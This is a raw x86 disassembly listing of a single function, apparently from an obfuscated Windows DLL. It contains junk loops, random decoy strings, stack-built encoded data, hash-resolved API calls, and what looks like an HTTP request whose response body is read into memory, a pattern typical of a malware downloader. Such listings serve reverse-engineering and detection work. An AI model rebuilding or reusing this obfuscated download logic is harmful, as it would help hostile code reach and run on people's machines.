mov dl, 1
call fcn.10029090
mov dword [ebp - 0x5c], 3
pop ecx
cmp dword [ebp - 0x5c], ebx
jl 0x1002a5a8
push dword [ebp - 0x2b4]
movdqa xmm0, xmmword [0x1006fcb0]
lea eax, [ebp - 0x3cc]
push eax
lea eax, [ebp - 0x3dc]
mov dword [ebp - 0x220], ebx
push eax
push ebx
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x21c], ebx
movdqu xmmword [ebp - 0x3dc], xmm0
mov dword [ebp - 0x218], ebx
call fcn.10013e5d
mov ecx, dword [ebp - 0x220]
mov dword [ecx + 0xc], ebx
mov eax, dword [ecx + 0xc]
inc dword [ecx + 0xc]
cmp dword [ecx + 0xc], 4
mov dword [ebp + eax*4 - 0x430], ebx
jl 0x1002a577
push ecx
call fcn.10048e11
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
dec dword [ebp - 0x5c]
pop ecx
jns 0x1002a52c
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jl 0x1002a50d
xor eax, eax
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
lea ecx, [ebp - 0x350]
lea eax, [ebp - 0x530]
mov dword [ebp - 0x340], ebx
push eax
call fcn.1001916a
xor ecx, ecx
mov byte [ebp - 4], 0x1c
inc ecx
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x18], ebx
jmp 0x1002a603
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x494], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002a5f2
mov dword [ebp - 0x18], ebx
jmp 0x1002a61f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1cc], 0x4956e74e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a60e
push 0x37cc
push ecx
inc dword [ebp - 0x16c]
lea eax, [ebp - 0x16c]
push 0x1918
push eax
push 0x7794
push 0x1d4c
push 0x496e
push ecx
push 0x4e95
push 0x4a08
push 0x34ab
push ecx
push 0x3bc4
mov edx, 0x33bc
mov ecx, 0x2d44
call fcn.10028ccf
add esp, 0x34
lea edi, [ebp - 0x530]
xor eax, eax
push 0x13
pop ecx
rep stosd dword es:[edi], eax
push 2
lea ecx, [ebp - 0x208]
stosw word es:[edi], ax
call fcn.100013b5
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0x7a10dd66
mov dword [ebp - 0x28], 0x279
cmp dword [ebp - 0x28], 0x3dd
jle 0x1002a6f7
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [ebp - 0x4c4]
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a6d0
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c4]
call fcn.10001516
inc esi
cmp esi, 0x22c4
jl 0x1002a6b5
inc edi
cmp edi, 0x158c
jl 0x1002a6b3
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x28], 0xfffffeba
jge 0x1002a70e
push str.tbh_kuhw_gkgc_mmuhge_gtuzqpq_ngw_actvcfjlp_ruy_uwgnbjb_amq_hlx_fjcuszqgy_suqmyjfuw_hybvjz
call fcn.10048d40
pop ecx
push ecx
push ecx
push 0x7a50
lea eax, [ebp - 0x208]
mov dword [ebp - 4], 0x1d
push 0x4092
push eax
lea edx, [ebp - 0x44]
xor cl, cl
call fcn.1002813c
add esp, 0x14
mov dword [ebp - 0x44], ebx
jmp 0x1002a74b
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x374], 0xffffffff
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
jl 0x1002a73a
mov eax, dword [ebp - 0x208]
xor ecx, ecx
inc ecx
cmp ecx, dword [eax]
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x208]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, dword [edx + 4]
setl al
imul eax, dword [edx]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, 0xffff0000
neg eax
sbb eax, eax
inc eax
cmp dword [edx + 4], eax
jg 0x1002a79d
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x208]
xor ecx, ecx
inc ecx
push eax
mov dword [eax], ecx
mov dword [ebp - 0x370], ecx
mov byte [ebp - 4], 0x1c
call fcn.10048e11
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x200], ebx
mov dword [ebp - 0x14], 0xb26bdde0
pop ecx
mov dword [ebp - 0x14], 0x16
jmp 0x1002a7fb
mov dword [ebp - 0x24], 0x18d58162
cmp dword [ebp - 0x24], ebx
jne 0x1002a801
push ecx
push ecx
push 0x2225
mov dl, 1
call fcn.1002911b
add esp, 0xc
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff7
jg 0x1002a7db
push 0x74
pop ecx
xor eax, eax
mov byte [ebp - 0xf3], cl
inc eax
mov byte [ebp - 0xdf], cl
push 0x30
mov byte [ebp - 0xf4], al
mov ecx, ebx
mov byte [ebp - 0xc2], al
mov byte [ebp - 0xb7], al
pop eax
push 2
mov dword [ebp - 0xf8], 0x216e51a
mov dword [ebp - 0xf2], 0x7a1f051b
mov dword [ebp - 0xee], 0x1d211418
mov dword [ebp - 0xea], 0x77030312
mov word [ebp - 0xe6], 0x690e
mov byte [ebp - 0xe4], 9
mov byte [ebp - 0xe3], bl
mov word [ebp - 0xe2], 0x6f14
mov byte [ebp - 0xe0], 2
mov byte [ebp - 0xde], bl
mov dword [ebp - 0xdd], 0x1139234d
mov dword [ebp - 0xd9], 0xa7d0406
mov byte [ebp - 0xd5], bl
mov dword [ebp - 0xd4], 0x71c0e0c
mov dword [ebp - 0xd0], 0x49250424
mov word [ebp - 0xcc], 0x4c07
mov byte [ebp - 0xca], 0x10
mov byte [ebp - 0xc9], bl
mov dword [ebp - 0xc8], 0x191d1c13
mov word [ebp - 0xc4], 0x70d
mov dword [ebp - 0xc1], 0x15050879
mov dword [ebp - 0xbd], 0xf751e05
mov word [ebp - 0xb9], 0x1977
mov dword [ebp - 0xb6], 0x9050920
mov dword [ebp - 0xb2], 0x4067222
mov dword [ebp - 0xae], 0x617050b
mov word [ebp - 0x54c], ax
pop esi
mov dword [ebp - 0x160], ecx
cmp esi, 0x36
jne 0x1002a9aa
mov dword [ebp - 0x160], 2
mov dword [ebp - 0x24], 0x1fc1
cmp dword [ebp - 0x24], 0x2126
mov dword [ebp - 0x28], esi
jle 0x1002a9fc
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x4ac]
and eax, esi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002a972
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4ac]
call fcn.10001516
inc edi
cmp edi, 0x2f3b
jl 0x1002a956
inc esi
cmp esi, 0x7852
jl 0x1002a954
mov esi, dword [ebp - 0x28]
push 0x178
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1002a9fc
movzx edx, byte [ebp + esi - 0xf7]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xfa]
movzx ecx, word [ebp + eax*2 - 0x580]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xf8]
add ecx, edx
mov edx, 0x7ff8
mov word [ebp + eax*2 - 0x580], cx
lea eax, [ebp - 0x160]
push eax
push 0x1913
push ecx
mov cl, 1
call fcn.100291ec
add esp, 0xc
add esi, 2
cmp esi, 0x4e
jae 0x1002aa0f
mov ecx, dword [ebp - 0x160]
jmp 0x1002a920
xor eax, eax
mov dword [ebp - 0x324], 7
mov word [ebp - 0x534], ax
lea ecx, [ebp - 0x338]
mov word [ebp - 0x338], ax
lea eax, [ebp - 0x580]
push eax
mov dword [ebp - 0x328], ebx
call fcn.1001916a
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x22
lea edi, [ebp - 0x580]
rep stosd dword es:[edi], eax
push 0xdd3
push ebx
push 0x5de
stosw word es:[edi], ax
mov ecx, 0x1350
xor eax, eax
inc eax
push eax
push 0x3e2e
mov dl, al
call fcn.10028b31
add esp, 0x14
lea ecx, [ebp - 0x440]
cmp dword [ebp - 0x33c], 8
lea eax, [ebp - 0x350]
mov edi, 0x77d2
mov esi, 0xcb22
cmovae eax, dword [ebp - 0x350]
push ecx
push eax
push edi
push esi
call fcn.1003e0fd
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002af7e
cmp dword [ebp - 0x324], 8
lea ecx, [ebp - 0x410]
push ecx
lea eax, [ebp - 0x338]
cmovae eax, dword [ebp - 0x338]
push eax
push edi
push esi
call fcn.1003e0fd
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002af7e
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x440]
push eax
push 3
push ebx
lea eax, [ebp - 0x410]
push eax
push edi
push 0x729d
call fcn.1003e0fd
pop ecx
pop ecx
call eax
test eax, eax
js 0x1002af7e
cmp dword [ebp - 0x34], 0
je 0x1002af7e
push 0x4f6c
lea eax, [ebp - 0x400]
xor dl, dl
push eax
push ecx
call fcn.100280a0
add esp, 0xc
mov byte [ebp - 0x64], bl
xor eax, eax
mov dword [ebp - 0x68], 0x1101b902
mov word [ebp - 0x3f8], ax
mov dword [ebp - 0x63], 0xb2bf0222
push 0x74
pop ecx
mov word [ebp - 0x188], cx
mov ecx, ebx
push 2
xor ebx, ebx
mov dword [ebp - 0x150], ecx
pop esi
inc ebx
cmp esi, 6
jne 0x1002ab71
push 3
pop ecx
push 7
mov dword [ebp - 0x150], ecx
pop esi
jmp 0x1002abda
movzx edx, byte [ebp + esi - 0x67]
mov eax, esi
sub eax, ecx
push ebx
push 0x2f80
push 0x564c
movzx eax, byte [ebp + eax - 0x6a]
movzx ecx, word [ebp + eax*2 - 0x18c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x68]
add ecx, edx
mov edx, 0x6045
mov word [ebp + eax*2 - 0x18c], cx
lea eax, [ebp - 0x150]
push eax
push ebx
push 0x60ba
push 0x9fd
push 0x6f4e
push 0x4f2
mov cl, bl
call fcn.10027fe4
mov ecx, dword [ebp - 0x150]
add esp, 0x24
add esi, 2
cmp esi, 9
jb 0x1002ab5e
xor eax, eax
mov dword [ebp - 0x224], 7
mov word [ebp - 0x186], ax
lea ecx, [ebp - 0x238]
mov word [ebp - 0x238], ax
xor ebx, ebx
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x228], ebx
push eax
call fcn.1001916a
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x238]
cmp dword [ebp - 0x224], 8
mov eax, dword [ebp - 0x228]
cmovae ecx, dword [ebp - 0x238]
push dword [ebp - 0x1cc]
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x2c4], ebx
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x2c0], ebx
cmovae ecx, dword [ebp - 0x238]
push eax
push ecx
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x2bc], ebx
call fcn.1001979e
lea eax, [ebp - 0x2c4]
mov byte [ebp - 4], 0x24
push eax
push 0x28aa
push ecx
mov dl, 1
call fcn.100280a0
mov edx, dword [ebp - 0x74]
add esp, 0xc
cmp dword [edx + 0x14], 8
jb 0x1002aca1
mov ecx, dword [edx]
jmp 0x1002aca3
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1002acb1
mov edx, dword [edx]
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x268], ebx
push eax
push edx
mov dword [ebp - 0x264], ebx
mov dword [ebp - 0x260], ebx
call fcn.1001979e
push 0x76f2
xor eax, eax
mov byte [ebp - 4], 0x25
inc eax
lea edx, [ebp - 0x268]
push eax
push 0x1ea7
push 0x4d69
push 0x1f9f
push eax
mov cl, al
call fcn.100280c7
cmp dword [ebp - 0x224], 8
lea edx, [ebp - 0x238]
lea esi, [ebp - 0x3a0]
mov eax, dword [ebp - 0x34]
cmovae edx, dword [ebp - 0x238]
add esp, 8
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3a0]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x400]
push dword [ebp - 0x268]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002af45
mov esi, dword [ebp - 0x1b8]
mov cl, 1
mov dword [ebp - 0x15c], ebx
cmp esi, dword [ebp - 0x1b4]
je 0x1002adb9
add esi, 0x18
test cl, cl
je 0x1002ada1
cmp dword [esi + 0x14], 8
jb 0x1002ad80
mov edi, dword [esi]
jmp 0x1002ad82
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1002ad8d
mov edx, dword [esi - 0x18]
jmp 0x1002ad90
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x34]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1002ada3
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1b4]
jne 0x1002ad72
test cl, cl
je 0x1002af45
mov eax, dword [ebp - 0x34]
lea esi, [ebp - 0x3a0]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002af45
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x15c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1002af45
cmp dword [ebp - 0x15c], 0x130
je 0x1002ae0d
cmp dword [ebp - 0x15c], 0xc8
jne 0x1002af45
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x420]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1002af45
mov esi, dword [ebp - 0x418]
test esi, esi
je 0x1002af45
mov eax, dword [esi]
xor ecx, ecx
inc ecx
push ecx
lea ecx, [ebp - 0x5c8]
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1002af3f
mov eax, dword [ebp - 0x5c0]
lea edx, [ebp - 0x6c]
push ecx
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x1a8]
push eax
push 0x6d11
push 0x1150
push ecx
xor cl, cl
call fcn.100285ca
mov edx, dword [ebp - 0x6c]
mov eax, ebx
mov edi, dword [ebp - 0x1a8]
add esp, 0x14
mov dword [ebp - 0x168], ebx
xor ebx, ebx
mov dword [ebp - 0x1ac], edx
inc ebx
mov dword [ebp - 0x164], eax
mov ecx, dword [esi]
add eax, edi
lea edi, [ebp - 0x168]
push edi
push edx
push eax
push esi
call dword [ecx + 0xc]
mov edi, dword [ebp - 0x1a8]
test eax, eax
js 0x1002af0a
push ecx
push ecx
lea eax, [ebp - 0x168]
mov edx, 0x617b
push eax
lea eax, [ebp - 0x164]
mov cl, bl
push eax
push 0x64b3
call fcn.1002813c
add esp, 0x10
lea eax, [ebp - 0x1ac]
mov edx, 0x5474
push 0x2de5
push eax
lea eax, [ebp - 0x168]
push eax
push ecx
mov cl, bl
call fcn.100285ca
mov eax, dword [ebp - 0x164]
add esp, 0x14
cmp eax, dword [ebp - 0x6c]
jae 0x1002af0a
mov edx, dword [ebp - 0x1ac]
jmp 0x1002ae95
lea eax, [ebp - 0x6c]
push eax
push 0x2411
xor eax, eax
lea ecx, [ebp - 0x164]
inc eax
lea edx, [ebp - 0x1a8]
push eax
push eax
push 0x3c48
push 0x5347
push ecx
push eax
mov ecx, 0x1016
call fcn.1002820d
add esp, 0x20
xor ebx, ebx
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x34], ebx
call fcn.10011980
lea ecx, [ebp - 0x2c4]
call fcn.10011980
push ebx
push 1
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x22
call fcn.10011637
mov edi, 0x77d2
push edi
push 0xd057
call fcn.1003e0fd
pop ecx
pop ecx
call eax
mov dword [ebp - 0x14], ebx
jmp 0x1002af9f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2fc], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002af92
mov dword [ebp - 0x2fc], ebx
cmp dword [ebp - 0x2fc], 8
jg 0x1002b096
mov dword [ebp - 0x18], 0x887
cmp dword [ebp - 0x18], 0xc30
jle 0x1002b04e
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], 0x3e90
mov esi, dword [ebp - 0x14]
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x488]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002b003
mov eax, dword [eax]
push eax
call fcn.10048d40
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x488]
call fcn.10001516
inc edi
cmp edi, 0x1cd9
jl 0x1002afe4
mov esi, dword [ebp - 0x20]
add dword [ebp - 0x14], esi
dec dword [ebp - 0x28]
jne 0x1002afdf
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x5aab
jl 0x1002afd5
push ebx
push 0x1519
push 0x16e2
push 0x274
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1002b070
xor eax, eax
mov ecx, 0x3153
inc eax
push 0x7162
push eax
push eax
mov dl, al
call fcn.10028488
add esp, 0xc
cmp dword [ebp - 0x18], 0x7a4
jge 0x1002b084
push str.txsff_xkxr_rgd_lura_vompismex_lxkkx_uddkssxu_bpzhbdwo_cpecvuj_lopjietms
call fcn.10048d40
pop ecx
mov dword [ebp - 4], 0x22
inc dword [ebp - 0x2fc]
jmp 0x1002afab
mov ecx, dword [ebp - 0x294]
lea eax, [ebp - 0x1a8]
push eax
call fcn.1002b22d
push ebx
push 1
lea ecx, [ebp - 0x338]
call fcn.10011637
push ebx
push 1
lea ecx, [ebp - 0x350]
call fcn.10011637
lea ecx, [ebp - 0x1b8]
call fcn.10019295
lea ecx, [ebp - 0x1a8]
call fcn.100194ad
lea ecx, [ebp + 8]
call fcn.10019295
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret